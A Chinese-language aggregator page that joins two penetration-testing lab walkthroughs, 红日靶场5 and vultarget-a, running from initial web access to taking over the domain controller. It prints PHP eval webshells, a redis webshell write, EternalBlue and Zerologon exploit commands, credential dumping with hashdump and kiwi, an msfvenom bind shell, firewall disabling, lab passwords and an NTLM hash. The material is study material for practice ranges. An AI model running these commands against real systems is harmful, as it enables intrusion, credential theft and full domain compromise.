红日靶场5

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了红日靶场5相关的知识,希望对你有一定的参考价值。

参考技术A 网络环境

kali攻击机:

ip为192.168.1.128

靶机win7:

本地管理员用户leo\123.com

域管sun\Administrator dc123.com 改为 20121225Qnmxa@

ip为192.168.1.136和192.168.138.138

靶机win2008:

账号sun\admin 2020.com改为20121225Qnmxa@

ip为192.168.138.138

在win7上打开phpstudy,打开web环境

复现

使用arp-scan -l扫描内网存活主机

找到目标靶机为192.168.1.136

使用nmap进行扫描

nmap 192.168.1.136 -T4 -A -sV

发现了80端口,先访问下

发现为TP5,直接用工具打

可以执行命令,直接写入一句话木马

echo <?php @eval($_POST['cmd'])?> > shell.php

直接用蚁剑连接,然后对目标进行信息搜集

发现有两个网段,一个是1段,另一个是138段,并且在域sun.com中,DNS服务器为192.168.138.138,基本上DNS服务器就是域控

话不多说,直接上CS,直接通过powershell命令上线

设置心跳时间为1秒:sleep 1

然后使用插件直接一键提权,比如梼杌、谢公子插件等,拿到一个system权限的会话

打开system权限的会话,查看防火墙情况

shell netsh firewall show state

是关着的,我手动把它关了

查看域内计算机列表:net view

返现主机DC和WIN7

查看域控列表:net dclist

查看本机用户列表

有3个用户

接下来抓hash:hashdump

抓密码:logonpassword

然后通过“视图”-“密码凭证”查看抓到的密码

点击“视图”-“目标列表”

直接使用psexec配合SMB监听器上线DC机器

拿到了DC的beacon

vultarget-a红日靶场全面解析(完整版)

简介

vultargeta靶场是星期五实验室公众号发布的自行设计靶场,其中涵盖了WEB渗透、主机漏洞、域漏洞、工控漏洞等等。
此靶场使用

网络结构

其靶场网络结构为

  • kali : 桥接模式
  • win7: 双网卡—桥接模式,卡2仅主机模式
  • win2019: VMnet19仅主机模式
  • win2016: 双网卡— VMnet18仅主机模式 ,VMnet19仅主机模式

win7主机通过NAT与kali机出于同一网段,且通过VMnet18接入内网与win2016VM18网卡进行通信,win2016通过网卡2VM19与DC机进行通信

信息搜集

扫描同一网段下主机ip地址

arp-scan -l

128为本机地址,131为win7主机ip

nmap -sS -sV 192.168.111.131

nmap扫描目标主机.注意:windows防火墙开启状态默认不允许ping检测,而linux默认是支持的,所以使用nmap探测时应使用TCP的SYN进行探测

根据结果可以看出目标主机开启80端口和445端口,访问网站

通过访问目标主机网站,可以发现该靶场使用到了通达OA系统,百度百科上这么写这:

通达OA概述与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限。 Office Anywhere采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

WIN7漏洞利用

通达OA利用工具+中国蚁剑

上面端口扫描时发现目标机器开启445端口,首先想到利用永恒之蓝漏洞,稍后利用,先使用通达OA工具尝试攻击
点击通达OA工具可以进行下载
为了方便我将该工具源码打包成jar方便kali执行

java -jar TDOA_RCE-master.jar

首先打开通达OA工具后目标地址为靶场对外主机win7的外网ip,获取Cookie按钮后下方栏中会显示通达OA任意用户登录测试得到的Cookie一键利用,工具会自动在http://192.168.1.109/FRSJFIL.php生成木马并提供密码

*******
当前通达OA版本为: 11.3
正在尝试利用任意用户登录漏洞获取Cookie...
poc1利用成功
已自动填充
*******
正在尝试利用本地文件包含漏洞...
利用成功
SHELL如下:
http://192.168.111.131/VPMHKQF.php
密码:x

中国蚁剑直接连接

成功连接

进入命令端

whoami

永恒之蓝漏洞利用

在信息搜集环节,我们是发现被攻击主机开启443端口,所以我会想到利用永恒之蓝漏洞进行一次渗透

  • kali机打开msfconsole
  • use exploit/windows/smb/ms17_010_eternalblue
  • set rhosts 192.168.111.131
  • run


    成功得到通道!并且为system权限
    自动迁移进程,稳固连接
run post/windows/manage/migrate 

输入shell 进入控制台

chcp 65001 修改控制台编码,默认进入shell有些字符会乱码

结果信息可以看出该主机使用两张网卡,其中网卡2接入内网
查看是否存在域情况 net time /domain (同步域的时间,通过该命令返回的结果是否正常执行来判断是否存在域)

报错,该主机并未加入到域中,arp -a查看当前网段内其他主机信息

结果可以看出网卡10.0.20.98网段下有一个10.0.20.99的主机

添加路由表

win7机带有两块网卡,当kali攻击机与win7建立通信后,无法跨网段访问发送数据包到另一块网卡上,所以需要添加路由,指定下一跳的路由为另一块网卡的地址,这样便可以借助win7作跳板机操控服务器

既然已经拿到了system权限的session,那么下一步就需要设置一个路由并配置代理,方便我们从攻击机来访问内网10.0.20.xxx网段的主机

use post/multi/manage/autoroute
set session 1
run

添加后进入session中查看路由添加情况

sessions -i 1   # session会话id可以通过 sessions来查看
run autoroute -p

添加成功,继续添加代理

use auxiliary/server/socks_proxy
options
set version 4a
run
sessions -i

socks_proxy代理版本有4a和5这里我选择的是4a,socks5比4a多支持了一些协议如UDP、IPV6等,4a可以做的5也可以做到,有兴趣网上看看两者区别

jobs #  查看代理列表


修改/etc/proxychains4.conf,最后一行添加

socks4 0.0.0.0 1080

此文件为proxychains的配置文件,要与msf的options配置信息保持一致,否则是无法正常使用proxychains进行代理访问的

内网渗透

在拿到win7shell以后,通过添加路由和代理的方式使访问的请求可以进入内网网段,因为添加了代理socket 4a,通过proxychains可以使不支持代理的软件通过配置的1080端口通过win7添加的路由到内网主机。

proxychains

在linux中很多软件是不支持代理的。proxychains可以让这些软件走上代理通道,支持SOCKETS 4a、SOCKETS 5、HTTP、HTTPS
在linux中,/etc/proxychains4.conf文件中可以配置代理的端口和ip地址,上面配置中在use auxiliary/server/socks_proxy下的options中有一个参数SRVPORT默认端口为1080,ip为0.0.0.0,意味着msf监听来自任意ip1080端口数据,所以需要配置/etc/proxychains4.conf发送的目标端口也为1080,这样可以索引软件数据通过1080端口让msf接受到并转发到内网中

proxychains nmap -Pn -sT 10.0.20.99 -p 80,6379,8080,7001,139,22,23,3389,443,8089,3306,5432,53,67,21,20,25,1433,1512

这里只枚举了一些常用的端口,当然也可以全端口扫描,但是时间很慢,所以就挑选了一些常用端口进行探测


根据探测结果发现目标主机开启了80端口和6379redis服务,使用

proxychains firefox #注意命令不能在root用户下执行,切换到kali


通过proxychains代理打开firefox火狐浏览器尝试访问该网站

成功访问到内网网站,扫一下后台目录

proxychains dirbuster #进行文件扫描


因为通过代理去进行的目录扫描,所以时间会很长,但这里还是成功扫出几个文件

通过代理浏览器访问

php探针,在访问l.php发现了意外的惊喜,将网站的所有信息都呈现出来,包括版本号、phpstudy绝对路径,组件、相关参数等等。了解到网站信息后开始接下来的操作

redis未授权访问

在使用proxychains做端口扫描时发现是开启了6379端口

proxychains redis-cli -h 10.0.20.99


无密码成功登录,那么既然已经有了网站的绝对路径,通过redis向该目录下写文件木马

proxychains redis-cli -h 10.0.20.99
CONFIG SET dir  "C:/phpStudy/PHPTutorial/WWW/"
CONFIG SET dbfilename conf.php
set 1 "<?php @eval($_POST['aa']);?>"
save


成功将文件写进了网站根目录,这个安全配置属实舒服,密码没加还有写文件权限,极度危险,接下来蚁剑进行连接,但是注意因为此时操作内网主机,中国蚁剑是无法直接跨越跳板机连接到内网,需要为中国蚁剑设置代理

  • 代理协议SOCKS4
  • ip:kali主机ip
  • 端口1080

添加 http://10.0.20.99/conf.php,成功连接到内网主机,将其

system权限用户

  • 主机win2016
  • 域名vulntarget.com
  • 网卡两块
  • 另一块网卡ip地址 10.0.10.111
  • DNS地址10.0.10.110

上线win2016

获取win7shell之后,我们为他加了路由和代理,同时有win2016的蚁剑连接,拿win2016的shell,创建正向马,并通过代理监听

msfvenom  -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe > 6666.exe

生成木马以后通过上面的蚁剑连接上传到win2016,并在命令行处执行,由于win2016开启防火墙,win7不能直接访问,所以还要添加一条6666的策略,或者直接关掉防火墙

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=6666 action=allow
#或者
netsh advfirewall set allprofiles state off #直接关闭防火墙

通过代理启动msf,注意只有通过代理才能使流量正向到内网win2016上,

proxychains msfconsole

 use exploit/multi/handler 
 set payload windows/x64/meterpreter/bind_tcp
 set rhost 10.0.20.99
 run




成功获得shell,且为system用户
kiwi查看账户密码

load kiwi

creds_all



有密码Admin#123

run post/multi/manage/autoroute  #接着创建路由

arp -a 查看内网有无其他主机


这里是看到了10.0.10.110这台主机.因为上面我们是有看到他的根域名是vulntarget.com,查看域控计算机名

net group "domain controllers" /domain


WIN2019,继续枚举域控信息

run post/windows/gather/enum_domain


定位到域控的ip地址,正是10.0.10.110,仅有这么一台,arp -a命令我们已经看到,且计算机名WIN2019,与上一步类似,添加代理,使kali主机能够访问到域控

use auxiliary/server/socks_proxy
set version 4a
set srvport 1081
options
run


在配置文件中最后一行追加

socks4  0.0.0.0 1081 


第一个为kali主机访问代理端口1080将数据发送到win2016主机,第二个其实是在基于1080继续访问代理端口1081来访问域控主机的

CVE-2020-1472利用

CVE-2020-1472影响win server2008r到win2019多个操作系统版本,只需要得到域控的用户名且能够访问到目标域控,漏洞不需要主机在域环境下,原理是通过将目标域控密码置空,根据获取的凭得到域管理员的权限。
因为拿到的是域成员,提权域控有几种常见方法,废话不多说,直接使用CVE-2020-1472,准备两个工具包:

git clone https://github.com/dirkjanm/CVE-2020-1472.git
git clone https://github.com/SecureAuthCorp/impacket.git

下载完成后,利用用cve-2020-1472漏洞将域控密码置空

proxychains4 python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110


使用secretsdump.py尝试获取administrator域控的hash值,此文件在impacket/examples目录下

proxychains4 python3 secretsdump.py  vulntarget.com/WIN2019\\$@10.0.10.110  -just-dc  -no-pass


成功获取

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::

相同目录下使用smbexec.py拿域控shell

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110


成功,权限为system,开启远程桌面端口,防火墙放行3389

REG ADD "HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow


成功搞定,还有少了一步,破解域控密码,远程登录需要的密码,我们已经掌握了hash值,通过john工具破开

将hash值放入文件中

搞定

远程连接

proxychains rdesktop 10.0.10.110
用户名: VULNTARGET\\Administrator
密码: Admin@666

激动地心颤抖的手


完成!!!如果需要shell可以上传木马程序到域控,通过msf监听

总结

这是一次完全的渗透过程,从对外开放的主机开放的通达OA系统漏洞和永恒之蓝漏洞进入第一层主机,并利用其作为跳板机,渗透第二层存在有redis未授权访问的漏洞,在根据添加路由和代理的方式成功拿到最高权限的shell,最终攻击到域控,从web渗透,到横向渗透最后到掌握域控,中间出现过很多的问题,比如通道死机,无法连接,木马程序停止在目标机运行等状况,是一次很好的体验

以上是关于红日靶场5的主要内容,如果未能解决你的问题,请参考以下文章

Vulnstack红日安全内网域渗透靶场1实战

vultarget-a红日靶场全面解析(完整版)

红日靶场(内网渗透)——2

红日安全靶场3

[红日靶场]ATT&CK实战系列——红队实战(—)

ATT&CK靶场系列